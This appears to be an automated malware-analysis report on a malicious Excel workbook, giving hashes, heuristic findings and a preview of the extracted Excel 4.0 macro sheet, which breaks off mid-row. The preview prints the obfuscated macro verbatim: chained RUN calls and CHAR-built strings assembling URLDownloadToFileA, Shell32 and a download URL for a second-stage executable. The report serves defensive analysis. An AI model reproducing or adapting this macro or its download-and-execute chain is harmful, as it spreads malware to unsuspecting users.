Office (OOXML) malware analysis — malicious · 458f3933dcddd8fe

MALICIOUS

Office (OOXML)

40.4 KB Created: 2020-05-17 14:23:36 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07

MD5: 64c501dac92caf29266df8a5e2db76f2 SHA-1: f38e8de9dafdda72ed9953f0ee12395aad2dd6a7 SHA-256: 458f3933dcddd8fe2b76af333dfdd95bbc4300efbd747244aeca09ae5f5e6817

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically utilizing the RUN function, which is a critical indicator of malicious activity. The macros are designed to execute a command that downloads a second-stage executable from the provided URL. The presence of hidden sheets further supports the concealment of malicious operations.

Heuristics 6

Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: RUN, CALL, HALT critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 20 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://cloud-server-updater5.co.za/doc/officebuilder.exe In document text (OOXML body / shared strings)
- http://cloud-server-updater5In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	59655 bytes
SHA-256: `98e1fe8ec60b7cec41e1fab4041a20ed73b3cac228e14579107fbee4bfbf44b8`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 shell/COM execution token(s).
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0000-000000000000}"><dimension ref="B3:IO1998"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="3" spans="48:211" x14ac:dyDescent="0.25"><c r="AV3" t="str"><f>CHAR($FL$455-58)</f><v>x</v></c></row><row r="9" spans="48:211" x14ac:dyDescent="0.25"><c r="HC9" t="str"><f>CHAR($FD$353-334)</f><v>A</v></c></row><row r="10" spans="48:211" x14ac:dyDescent="0.25"><c r="CY10"><v>72</v></c></row><row r="16" spans="48:211" x14ac:dyDescent="0.25"><c r="DF16"><v>49</v></c></row><row r="21" spans="140:237" x14ac:dyDescent="0.25"><c r="IA21" t="b"><f>RUN($EP$1363)</f><v>0</v></c></row><row r="23" spans="140:237" x14ac:dyDescent="0.25"><c r="IC23"><v>144</v></c></row><row r="25" spans="140:237" x14ac:dyDescent="0.25"><c r="EJ25"><v>16</v></c></row><row r="33" spans="149:236" x14ac:dyDescent="0.25"><c r="ES33"><v>30</v></c></row><row r="42" spans="149:236" x14ac:dyDescent="0.25"><c r="IB42"><v>435</v></c></row><row r="43" spans="149:236" x14ac:dyDescent="0.25"><c r="GW43"><v>29</v></c></row><row r="50" spans="8:241" x14ac:dyDescent="0.25"><c r="GC50"><v>104</v></c></row><row r="54" spans="8:241" x14ac:dyDescent="0.25"><c r="BB54" t="str"><f>$DI$1783</f><v>http://cloud-server-updater5.co.za/doc/officebuilder.exe</v></c></row><row r="57" spans="8:241" x14ac:dyDescent="0.25"><c r="DF57"><v>450</v></c><c r="IG57"><v>445</v></c></row><row r="61" spans="8:241" x14ac:dyDescent="0.25"><c r="H61"><v>30</v></c></row><row r="63" spans="8:241" x14ac:dyDescent="0.25"><c r="DJ63" t="str"><f>CHAR($GZ$211-826)</f><v>e</v></c></row><row r="67" spans="23:184" x14ac:dyDescent="0.25"><c r="GB67" t="b"><f>RUN($HB$1110)</f><v>0</v></c></row><row r="77" spans="23:184" x14ac:dyDescent="0.25"><c r="BT77"><v>399</v></c></row><row r="80" spans="23:184" x14ac:dyDescent="0.25"><c r="W80"><v>97</v></c></row><row r="87" spans="75:210" x14ac:dyDescent="0.25"><c r="BW87" t="b"><f>RUN($FI$1452)</f><v>0</v></c><c r="HB87"><v>172</v></c></row><row r="97" spans="24:164" x14ac:dyDescent="0.25"><c r="FH97"><v>110</v></c></row><row r="103" spans="24:164" x14ac:dyDescent="0.25"><c r="X103"><v>129</v></c><c r="DC103"><v>76</v></c></row><row r="108" spans="24:164" x14ac:dyDescent="0.25"><c r="CI108"><v>399</v></c></row><row r="109" spans="24:164" x14ac:dyDescent="0.25"><c r="EY109" t="str"><f>CHAR($ET$1464-334)</f><v>e</v></c></row><row r="113" spans="49:223" x14ac:dyDescent="0.25"><c r="CO113" t="str"><f>CHAR($K$745-58)</f><v>e</v></c></row><row r="115" spans="49:223" x14ac:dyDescent="0.25"><c r="AW115"><v>48</v></c></row><row r="122" spans="49:223" x14ac:dyDescent="0.25"><c r="FK122"><v>410</v></c></row><row r="124" spans="49:223" x14ac:dyDescent="0.25"><c r="FH124"><v>25</v></c><c r="HO124"><v>433</v></c></row><row r="125" spans="49:223" x14ac:dyDescent="0.25"><c r="GQ125"><v>33</v></c></row><row r="126" spans="49:223" x14ac:dyDescent="0.25"><c r="BG126"><v>19</v></c></row><row r="129" spans="103:228" x14ac:dyDescent="0.25"><c r="DI129"><v>901</v></c></row><row r="130" spans="103:228" x14ac:dyDescent="0.25"><c r="EL130"><v>83</v></c></row><row r="131" spans="103:228" x14ac:dyDescent="0.25"><c r="HT131" t="str"><f>CHAR($R$1773-28)</f><v>y</v></c></row><row r="144" spans="103:228" x14ac:dyDescent="0.25"><c r="CY144" t="str"><f>CHAR($HP$351-334)</f><v>r</v></c><c r="GY144" t="b"><f>RUN($IO$367)</f><v>0</v></c></row><row r="146" spans="24:229" x14ac:dyDescent="0.25"><c r="X146"><v>104</v></c><c r="HM146"><v>936</v></c></row><row r="147" spans="24:229" x14ac:dyDescent="0.25"><c r="BP147" t="str"><f>CHAR($DF$1056-28)</f><v>q</v></c><c r="DV147" t="str"><f>CHAR($CC$1585-826)</f><v>l</v></c><c r="EF147"><v>25</v></c></row><row r="149" spans="24:229" x14ac:dyDescent="0.25"><c r="AE149" t="str"><f>CHAR($EN$248-826)</f><v>l</v></c></row><row r="150" spans="24:229" x14ac:dyDescent="0.25"><c r="HU150"><v>120</v></c></row><row r="151" spans="24:229" x14ac:dyDescent="0.25"><c r="CE151" t="str"><f>CHAR($EC$382-58)</f><v>e</v></c></row><row r="159" spans="24:229" x14ac:dyDescent="0.25"><c r="BR159"><v>450</v></c><c r="CA159" t="b"><f>RUN($BP$1453)</f><v>0</v></c></row><row r="162" spans="71:244" x14ac:dyDescent="0.25"><c r="GE162" t="b"><f>RUN($DL$1846)</f><v>0</v></c></row><row r="164" spans="71:244" x14ac:dyDescent="0.25"><c r="DB164" t="b"><f>RUN($ED$261)</f><v>0</v></c></row><row r="165" spans="71:244" x14ac:dyDescent="0.25"><c r="BS165"><v>105</v></c><c r="IE165"><v>141</v></c><c r="IJ165"><v>91</v></c></row><row r="166" spans="71:244" x14ac:dyDescent="0.25"><c r="GZ166" t="b"><f>RUN($GY$144)</f><v>0</v></c></row><row r="171" spans="71:244" x14ac:dyDescent="0.25"><c r="CF171" t="str"><f>CHAR($CE$274-334)</f><v>d</v></c></row><row r="174" spans="71:244" x14ac:dyDescent="0.25"><c r="CW174" t="str"><f>CONCATENATE($DS$1971,$AD$930,$BA$1840,$HP$1726)</f><v>Open</v></c></row><row r="176" spans="71:244" x14ac:dyDescent="0.25"><c r="HC176"><v>58</v></c></row><row r="178" spans="39:225" x14ac:dyDescent="0.25"><c r="HQ178"><v>905</v></c></row><row r="179" spans="39:225" x14ac:dyDescent="0.25"><c r="EP179"><v>446</v></c></row><row r="188" spans="39:225" x14ac:dyDescent="0.25"><c r="AM188"><v>877</v></c><c r="CA188" t="str"><f>CONCATENATE($FZ$1483)</f><v>e</v></c></row><row r="208" spans="122:145" x14ac:dyDescent="0.25"><c r="DR208"><v>39</v></c><c r="EO208"><v>97</v></c></row><row r="210" spans="9:208" x14ac:dyDescent="0.25"><c r="N210"><v>16</v></c></row><row r="211" spans="9:208" x14ac:dyDescent="0.25"><c r="GZ211"><v>927</v></c></row><row r="212" spans="9:208" x14ac:dyDescent="0.25"><c r="I212"><v>439</v></c></row><row r="214" spans="9:208" x14ac:dyDescent="0.25"><c r="GA214" t="str"><f>CHAR($HO$124-334)</f><v>c</v></c></row><row r="217" spans="9:208" x14ac:dyDescent="0.25"><c r="EN217" t="str"><f>CHAR($CD$1507-58)</f><v>e</v></c></row><row r="223" spans="9:208" x14ac:dyDescent="0.25"><c r="FD223" t="str"><f>CHAR($N$1362-58)</f><v>e</v></c></row><row r="229" spans="28:247" x14ac:dyDescent="0.25"><c r="AB229" t="str"><f>CHAR($CU$1427-826)</f><v>N</v></c></row><row r="232" spans="28:247" x14ac:dyDescent="0.25"><c r="HJ232"><v>61</v></c></row><row r="234" spans="28:247" x14ac:dyDescent="0.25"><c r="CU234"><v>55</v></c></row><row r="239" spans="28:247" x14ac:dyDescent="0.25"><c r="GO239"><v>155</v></c><c r="IM239" t="b"><f>RUN($GA$614)</f><v>0</v></c></row><row r="240" spans="28:247" x14ac:dyDescent="0.25"><c r="GG240"><v>180</v></c></row><row r="241" spans="32:193" x14ac:dyDescent="0.25"><c r="EW241" t="str"><f>CHAR($BD$489-28)</f><v>C</v></c></row><row r="244" spans="32:193" x14ac:dyDescent="0.25"><c r="AF244" t="str"><f>CONCATENATE($D$325)</f><v>Shell32</v></c></row><row r="246" spans="32:193" x14ac:dyDescent="0.25"><c r="GK246"><v>448</v></c></row><row r="247" spans="32:193" x14ac:dyDescent="0.25"><c r="FH247"><v>169</v></c></row><row r="248" spans="32:193" x14ac:dyDescent="0.25"><c r="EN248"><v>934</v></c><c r="FL248"><v>53</v></c></row><row r="251" spans="32:193" x14ac:dyDescent="0.25"><c r="DQ251" t="str"><f>CHAR($IG$57-334)</f><v>o</v></c></row><row r="260" spans="2:213" x14ac:dyDescent="0.25"><c r="GF260" t="str"><f>CHAR($HB$87-58)</f><v>r</v></c></row><row r="261" spans="2:213" x14ac:dyDescent="0.25"><c r="ED261" t="b"><f>RUN($GD$364)</f><v>0</v></c></row><row r="263" spans="2:213" x14ac:dyDescent="0.25"><c r="HE263" t="str"><f>CHAR($EL$366-334)</f><v>l</v></c></row><row r="264" spans="2:213" x14ac:dyDescent="0.25"><c r="AL264"><v>175</v></c><c r="FW264"><v>116</v></c></row><row r="266" spans="2:213" x14ac:dyDescent="0.25"><c r="B266" t="str"><f>CONCATENATE($HM$1290,$FR$325,$BU$1809,$AH$1955,$HO$1032,$CO$506,$DM$1289,$G$513,$HD$1219,$CC$1543,$CA$1934,$EC$1411,$EB$1981,$R$1608,$EN$217,$CE$1228,$CM$1428,$FD$223,$GF$260,$CY$784,$P$1583,$EI$1364,$BB$967,$CQ$1131,$L$1805,$CE$151,$CQ$1412,$HS$972,$HV$856)</f><v>http://cloud-server-updater5.</v></c></row><row r="273" spans="83:242" x14ac:dyDescent="0.25"><c r="EK273"><v>87</v></c></row><row r="274" spans="83:242" x14ac:dyDescent="0.25"><c r="CE274"><v>434</v></c></row><row r="275" spans="83:242" x14ac:dyDescent="0.25"><c r="IH275" t="b"><f>RUN($EG$1731)</f><v>0</v></c></row><row r="278" spans="83:242" x14ac:dyDescent="0.25"><c r="DZ278"><v>81</v></c></row><row r="280" spans="83:242" x14ac:dyDescent="0.25"><c r="CL280" t="str"><f>CHAR($FE$738-28)</f><v>N</v></c></row><row r="289" spans="15:218" x14ac:dyDescent="0.25"><c r="EM289"><v>435</v></c></row><row r="293" spans="15:218" x14ac:dyDescent="0.25"><c r="BE293" t="str"><f>CHAR($C$716-334)</f><v>D</v></c></row><row r="294" spans="15:218" x14ac:dyDescent="0.25"><c r="AB294" t="str"><f>CHAR($DO$1256-826)</f><v>R</v></c><c r="HJ294"><v>0</v></c></row><row r="296" spans="15:218" x14ac:dyDescent="0.25"><c r="O296"><v>934</v></c></row><row r="310" spans="56:93" x14ac:dyDescent="0.25"><c r="BD310" t="str"><f>CHAR($IC$1620-58)</f><v>i</v></c></row><row r="319" spans="56:93" x14ac:dyDescent="0.25"><c r="CO319" t="b"><f>RUN($CN$608)</f><v>0</v></c></row><row r="324" spans="4:231" x14ac:dyDescent="0.25"><c r="FZ324" t="str"><f>CHAR($FK$1966-334)</f><v>n</v></c></row><row r="325" spans="4:231" x14ac:dyDescent="0.25"><c r="D325" t="str"><f>CONCATENATE($FI$956,$DA$799,$F$370,$O$1612,$DV$147,$Y$1764,$DY$1023)</f><v>Shell32</v></c><c r="FR325" t="str"><f>CHAR($HP$1811-58)</f><v>t</v></c></row><row r="335" spans="4:231" x14ac:dyDescent="0.25"><c r="HW335"><v>70</v></c></row><row r="340" spans="25:246" x14ac:dyDescent="0.25"><c r="GC340"><v>74</v></c></row><row r="344" spans="25:246" x14ac:dyDescent="0.25"><c r="CY344"><v>448</v></c></row><row r="346" spans="25:246" x14ac:dyDescent="0.25"><c r="DY346"><v>5</v></c><c r="IL346"><v>73</v></c></row><row r="350" spans="25:246" x14ac:dyDescent="0.25"><c r="Y350"><v>98</v></c></row><row r="351" spans="25:246" x14ac:dyDescent="0.25"><c r="HP351"><v>448</v></c></row><row r="352" spans="25:246" x14ac:dyDescent="0.25"><c r="IA352" t="b"><f>RUN($FO$1279)</f><v>0</v></c></row><row r="353" spans="24:249" x14ac:dyDescent="0.25"><c r="FD353"><v>399</v></c></row><row r="354" spans="24:249" x14ac:dyDescent="0.25"><c r="X354" t="str"><f>CHAR($EX$1946-334)</f><v>e</v></c><c r="HL354"><v>70</v></c></row><row r="358" spans="24:249" x14ac:dyDescent="0.25"><c r="DK358"><v>0</v></c><c r="FL358" t="str"><f>CHAR($FT$615-28)</f><v>D</v></c></row><row r="359" spans="24:249" x14ac:dyDescent="0.25"><c r="AQ359"><v>70</v></c></row><row r="364" spans="24:249" x14ac:dyDescent="0.25"><c r="GD364" t="b"><f>RUN($EJ$1737)</f><v>0</v></c></row><row r="365" spans="24:249" x14ac:dyDescent="0.25"><c r="FM365" t="str"><f>CONCATENATE($EL$1422,$CY$144,$AR$812,$GD$1527,$AS$396,$EY$109,$BE$293,$EZ$946,$EO$1163,$BT$1891,$EH$507,$AM$634,$FW$1069,$Z$601,$GH$1830,$HC$9)</f><v>CreateDirectoryA</v></c></row><row r="366" spans="24:249" x14ac:dyDescent="0.25"><c r="EL366"><v>442</v></c></row><row r="367" spans="24:249" x14ac:dyDescent="0.25"><c r="BE367"><v>72</v></c><c r="IO367" t="b"><f>RUN($HU$1372)</f><v>0</v></c></row><row r="370" spans="6:170" x14ac:dyDescent="0.25"><c r="F370" t="str"><f>CHAR($BM$440-826)</f><v>e</v></c></row><row r="374" spans="6:170" x14ac:dyDescent="0.25"><c r="O374"><v>86</v></c><c r="FF374"><v>58</v></c></row><row r="382" spans="6:170" x14ac:dyDescent="0.25"><c r="EC382"><v>159</v></c><c r="FN382" t="str"><f>CONCATENATE($GB$1702,$CA$188)</f><v>C:\WbNGNqE\DTXaRqG\gytjPXY.exe</v></c></row><row r="387" spans="45:229" x14ac:dyDescent="0.25"><c r="EE387"><v>95</v></c></row><row r="391" spans="45:229" x14ac:dyDescent="0.25"><c r="BB391" t="str"><f>CHAR($BS$165-58)</f><v>/</v></c><c r="FR391"><v>59</v></c></row><row r="392" spans="45:229" x14ac:dyDescent="0.25"><c r="EE392"><v>22</v></c></row><row r="394" spans="45:229" x14ac:dyDescent="0.25"><c r="BO394"><v>51</v></c><c r="FW394"><v>9</v></c></row><row r="395" spans="45:229" x14ac:dyDescent="0.25"><c r="CU395" t="str"><f>CONCATENATE($BK$1261,$ED$1589,$FN$753,$FA$1783,$BO$1231,$CV$886,$FZ$324,$EQ$850,$DQ$251,$CW$1855,$CF$171,$GG$1124,$DK$683,$FX$1130,$ES$1822,$HM$639,$HE$1170,$AD$1096)</f><v>URLDownloadToFileA</v></c></row><row r="396" spans="45:229" x14ac:dyDescent="0.25"><c r="AS396" t="str"><f>CHAR($AD$656-334)</f><v>t</v></c></row><row r="397" spans="45:229" x14ac:dyDescent="0.25"><c r="HU397" t="str"><f>CHAR($IO$891-826)</f><v>L</v></c></row><row r="405" spans="21:198" x14ac:dyDescent="0.25"><c r="CG405" t="b"><f>RUN($HG$553)</f><v>0</v></c></row><row r="406" spans="21:198" x14ac:dyDescent="0.25"><c r="AQ406" t="str"><f>CHAR($D$1207-826)</f><v>2</v></c></row><row r="409" spans="21:198" x14ac:dyDescent="0.25"><c r="FU409"><v>417</v></c></row><row r="413" spans="21:198" x14ac:dyDescent="0.25"><c r="U413" t="str"><f>CHAR($ET$1744-334)</f><v>h</v></c><c r="CF413"><v>46</v></c></row><row r="416" spans="21:198" x14ac:dyDescent="0.25"><c r="GP416"><v>97</v></c></row><row r="418" spans="5:170" x14ac:dyDescent="0.25"><c r="AW418" t="b"><f>RUN($HA$1038)</f><v>0</v></c></row><row r="419" spans="5:170" x14ac:dyDescent="0.25"><c r="FN419" t="b"><f>RUN($IM$239)</f><v>0</v></c></row><row r="420" spans="5:170" x14ac:dyDescent="0.25"><c r="ER420"><v>7</v></c></row><row r="422" spans="5:170" x14ac:dyDescent="0.25"><c r="E422" t="b"><f>RUN($GL$1048)</f><v>0</v></c></row><row r="427" spans="5:170" x14ac:dyDescent="0.25"><c r="AD427" t="b"><f>RUN($GE$162)</f><v>0</v></c></row><row r="432" spans="5:170" x14ac:dyDescent="0.25"><c r="DQ432"><v>65</v></c></row><row r="438" spans="3:151" x14ac:dyDescent="0.25"><c r="AN438" t="str"><f>CHAR($CP$1487-28)</f><v>Y</v></c></row><row r="440" spans="3:151" x14ac:dyDescent="0.25"><c r="BM440"><v>927</v></c></row><row r="443" spans="3:151" x14ac:dyDescent="0.25"><c r="C443"><v>160</v></c></row><row r="444" spans="3:151" x14ac:dyDescent="0.25"><c r="CX444"><v>47</v></c><c r="DH444" t="b"><f>RUN($IK$1456)</f><v>0</v></c><c r="EU444"><v>17</v></c></row><row r="446" spans="3:151" x14ac:dyDescent="0.25"><c r="AS446"><v>39</v></c></row><row r="452" spans="37:168" x14ac:dyDescent="0.25"><c r="AK452"><v>170</v></c></row><row r="455" spans="37:168" x14ac:dyDescent="0.25"><c r="FL455"><v>178</v></c></row><row r="458" spans="37:168" x14ac:dyDescent="0.25"><c r="DV458"><v>158</v></c></row><row r="461" spans="37:168" x14ac:dyDescent="0.25"><c r="CR461"><v>419</v></c></row><row r="466" spans="96:170" x14ac:dyDescent="0.25"><c r="EI466"><v>59</v></c></row><row r="467" spans="96:170" x14ac:dyDescent="0.25"><c r="CR467" t="b"><f>RUN($BK$1404)</f><v>0</v></c></row><row r="469" spans="96:170" x14ac:dyDescent="0.25"><c r="FN469"><v>64</v></c></row><row r="470" spans="96:170" x14ac:dyDescent="0.25"><c r="FH470" t="b"><f>RUN($ID$1213)</f><v>0</v></c></row><row r="472" spans="96:170" x14ac:dyDescent="0.25"><c r="FC472" t="b"><f>RUN($IE$1219)</f><v>0</v></c></row><row r="475" spans="96:170" x14ac:dyDescent="0.25"><c r="DD475"><v>83</v></c><c r="EC475" t="b"><f>RUN($CZ$850)</f><v>0</v></c></row><row r="485" spans="44:184" x14ac:dyDescent="0.25"><c r="AR485"><v>159</v></c><c r="CI485"><v>418</v></c></row><row r="486" spans="44:184" x14ac:dyDescent="0.25"><c r="GB486"><v>26</v></c></row><row r="489" spans="44:184" x14ac:dyDescent="0.25"><c r="BD489"><v>95</v></c></row><row r="491" spans="44:184" x14ac:dyDescent="0.25"><c r="BE491"><v>37</v></c></row><row r="498" spans="75:246" x14ac:dyDescent="0.25"><c r="GX498"><v>175</v></c></row><row r="503" spans="75:246" x14ac:dyDescent="0.25"><c r="IL503"><v>159</v></c></row><row r="505" spans="75:246" x14ac:dyDescent="0.25"><c r="BW505" t="b"><f>RUN($BP$744)</f><v>0</v></c></row><row r="506" spans="75:246" x14ac:dyDescent="0.25"><c r="CO506" t="str"><f>CHAR($DG$558-58)</f><v>/</v></c></row><row r="507" spans="75:246" x14ac:dyDescent="0.25"><c r="EH507" t="str"><f>CHAR($B$845-334)</f><v>c</v></c></row><row r="513" spans="7:124" x14ac:dyDescent="0.25"><c r="G513" t="str"><f>CHAR($GR$1912-58)</f><v>c</v></c></row><row r="514" spans="7:124" x14ac:dyDescent="0.25"><c r="CR514" t="str"><f>CHAR($C$443-58)</f><v>f</v></c></row><row r="518" spans="7:124" x14ac:dyDescent="0.25"><c r="DT518"><v>129</v></c></row><row r="531" spans="59:59" x14ac:dyDescent="0.25"><c r="BG531"><v>26</v></c></row><row r="545" spans="19:221" x14ac:dyDescent="0.25"><c r="S545"><v>23</v></c></row><row r="553" spans="19:221" x14ac:dyDescent="0.25"><c r="HG553" t="b"><f>RUN($BD$1859)</f><v>0</v></c></row><row r="555" spans="19:221" x14ac:dyDescent="0.25"><c r="HM555"><v>134</v></c></row><row r="558" spans="19:221" x14ac:dyDescent="0.25"><c r="DG558"><v>105</v></c><c r="DL558" t="b"><f>RUN($HF$999)</f><v>0</v></c></row><row r="559" spans="19:221" x14ac:dyDescent="0.25"><c r="AO559"><v>47</v></c></row><row r="566" spans="35:202" x14ac:dyDescent="0.25"><c r="EI566"><v>455</v></c></row><row r="572" spans="35:202" x14ac:dyDescent="0.25"><c r="GT572" t="b"><f>RUN($AG$1101)</f><v>0</v></c></row><row r="576" spans="35:202" x14ac:dyDescent="0.25"><c r="AI576" t="b"><f>RUN($CW$1645)</f><v>0</v></c></row><row r="577" spans="4:229" x14ac:dyDescent="0.25"><c r="D577"><v>163</v></c><c r="N577"><v>158</v></c></row><row r="584" spans="4:229" x14ac:dyDescent="0.25"><c r="GZ584"><v>50</v></c></row><row r="585" spans="4:229" x14ac:dyDescent="0.25"><c r="HU585"><v>99</v></c></row><row r="588" spans="4:229" x14ac:dyDescent="0.25"><c r="CZ588"><v>877</v></c></row><row r="601" spans="26:115" x14ac:dyDescent="0.25"><c r="Z601" t="str"><f>CHAR($GK$246-334)</f><v>r</v></c></row><row r="602" spans="26:115" x14ac:dyDescent="0.25"><c r="AB602"><v>7</v></c></row><row r="605" spans="26:115" x14ac:dyDescent="0.25"><c r="CN605" t="str"><f>CHAR($CL$749-58)</f><v>b</v></c></row><row r="607" spans="26:115" x14ac:dyDescent="0.25"><c r="DK607"><v>454</v></c></row><row r="608" spans="26:115" x14ac:dyDescent="0.25"><c r="CN608" t="b"><f>RUN($DL$558)</f><v>0</v></c></row><row r="609" spans="10:207" x14ac:dyDescent="0.25"><c r="DK609" t="b"><f>RUN($AX$1013)</f><v>0</v></c></row><row r="610" spans="10:207" x14ac:dyDescent="0.25"><c r="L610"><v>159</v></c></row><row r="612" spans="10:207" x14ac:dyDescent="0.25"><c r="FD612"><v>173</v></c></row><row r="614" spans="10:207" x14ac:dyDescent="0.25"><c r="GA614" t="b"><f>RUN($IH$275)</f><v>0</v></c></row><row r="615" spans="10:207" x14ac:dyDescent="0.25"><c r="FT615"><v>96</v></c></row><row r="617" spans="10:207" x14ac:dyDescent="0.25"><c r="DZ617"><v>60</v></c><c r="GY617" t="b"><f>RUN($AS$866)</f><v>0</v></c></row><row r="619" spans="10:207" x14ac:dyDescent="0.25"><c r="J619" t="b"><f>RUN($AZ$1764)</f><v>0</v></c></row><row r="626" spans="39:221" x14ac:dyDescent="0.25"><c r="DD626" t="str"><f>CONCATENATE($BU$1944,$AB$294,$HU$397,$CS$1800,$EM$1143,$AB$229)</f><v>URLMON</v></c></row><row r="634" spans="39:221" x14ac:dyDescent="0.25"><c r="AM634" t="str"><f>CHAR($DF$57-334)</f><v>t</v></c></row><row r="638" spans="39:221" x14ac:dyDescent="0.25"><c r="CN638"><v>54</v></c></row><row r="639" spans="39:221" x14ac:dyDescent="0.25"><c r="HM639" t="str"><f>CHAR($AO$662-334)</f><v>l</v></c></row><row r="648" spans="27:220" x14ac:dyDescent="0.25"><c r="DM648" t="str"><f>CHAR($CF$1534-58)</f><v>c</v></c></row><row r="653" spans="27:220" x14ac:dyDescent="0.25"><c r="AN653"><v>65</v></c></row><row r="654" spans="27:220" x14ac:dyDescent="0.25"><c r="AA654"><v>0</v></c><c r="HL654"><v>7</v></c></row><row r="656" spans="27:220" x14ac:dyDescent="0.25"><c r="AD656"><v>450</v></c></row><row r="658" spans="41:120" x14ac:dyDescent="0.25"><c r="CP658"><v>431</v></c></row><row r="662" spans="41:120" x14ac:dyDescent="0.25"><c r="AO662"><v>442</v></c></row><row r="664" spans="41:120" x14ac:dyDescent="0.25"><c r="DP664" t="str"><f>CHAR($BT$77-334)</f><v>A</v></c></row><row r="666" spans="41:120" x14ac:dyDescent="0.25"><c r="CT666" t="str"><f>CHAR($D$858-826)</f><v>r</v></c></row><row r="678" spans="79:243" x14ac:dyDescent="0.25"><c r="CA678"><v>42</v></c></row><row r="683" spans="79:243" x14ac:dyDescent="0.25"><c r="DK683" t="str"><f>CHAR($HW$746-334)</f><v>o</v></c></row><row r="684" spans="79:243" x14ac:dyDescent="0.25"><c r="IC684"><v>44</v></c><c r="II684"><v>22</v></c></row><row r="689" spans="41:213" x14ac:dyDescent="0.25"><c r="CR689" t="b"><f>RUN($CR$467)</f><v>0</v></c></row><row r="691" spans="41:213" x14ac:dyDescent="0.25"><c r="GP691" t="b"><f>RUN($GR$741)</f><v>0</v></c></row><row r="692" spans="41:213" x14ac:dyDescent="0.25"><c r="HE692"><v>111</v></c></row><row r="696" spans="41:213" x14ac:dyDescent="0.25"><c r="BW696"><v>416</v></c></row><row r="697" spans="41:213" x14ac:dyDescent="0.25"><c r="BJ697"><v>86</v></c></row><row r="700" spans="41:213" x14ac:dyDescent="0.25"><c r="AV700"><v>71</v></c></row><row r="702" spans="41:213" x14ac:dyDescent="0.25"><c r="AO702"><v>73</v></c></row><row r="707" spans="3:212" x14ac:dyDescent="0.25"><c r="DY707" t="str"><f>CONCATENATE($FG$1265,$DJ$63,$CT$666,$GB$1660,$DL$1612,$AE$149,$FB$1498,$AQ$406)</f><v>Kernel32</v></c></row><row r="708" spans="3:212" x14ac:dyDescent="0.25"><c r="HD708"><v>451</v></c></row><row r="709" spans="3:212" x14ac:dyDescent="0.25"><c r="DU709"><v>17</v></c></row><row r="716" spans="3:212" x14ac:dyDescent="0.25"><c r="C716"><v>402</v></c></row><row r="718" spans="3:212" x14ac:dyDescent="0.25"><c r="E718"><v>169</v></c></row><row r="722" spans="5:242" x14ac:dyDescent="0.25"><c r="HN722" t="b"><f>RUN($DH$1910)</f><v>0</v></c><c r="IH722"><v>95</v></c></row><row r="725" spans="5:242" x14ac:dyDescent="0.25"><c r="AV725"><v>40</v></c><c r="ED725"><v>87</v></c><c r="HP725"><v>74</v></c></row><row r="731" spans="5:242" x14ac:dyDescent="0.25"><c r="E731" t="str"><f>CHAR($GG$240-58)</f><v>z</v></c></row><row r="737" spans="11:231" x14ac:dyDescent="0.25"><c r="EU737" t="str"><f>CHAR($AW$772-28)</f><v>g</v></c></row><row r="738" spans="11:231" x14ac:dyDescent="0.25"><c r="FE738"><v>106</v></c></row><row r="741" spans="11:231" x14ac:dyDescent="0.25"><c r="GR741" t="b"><f>RUN($GZ$166)</f><v>0</v></c></row><row 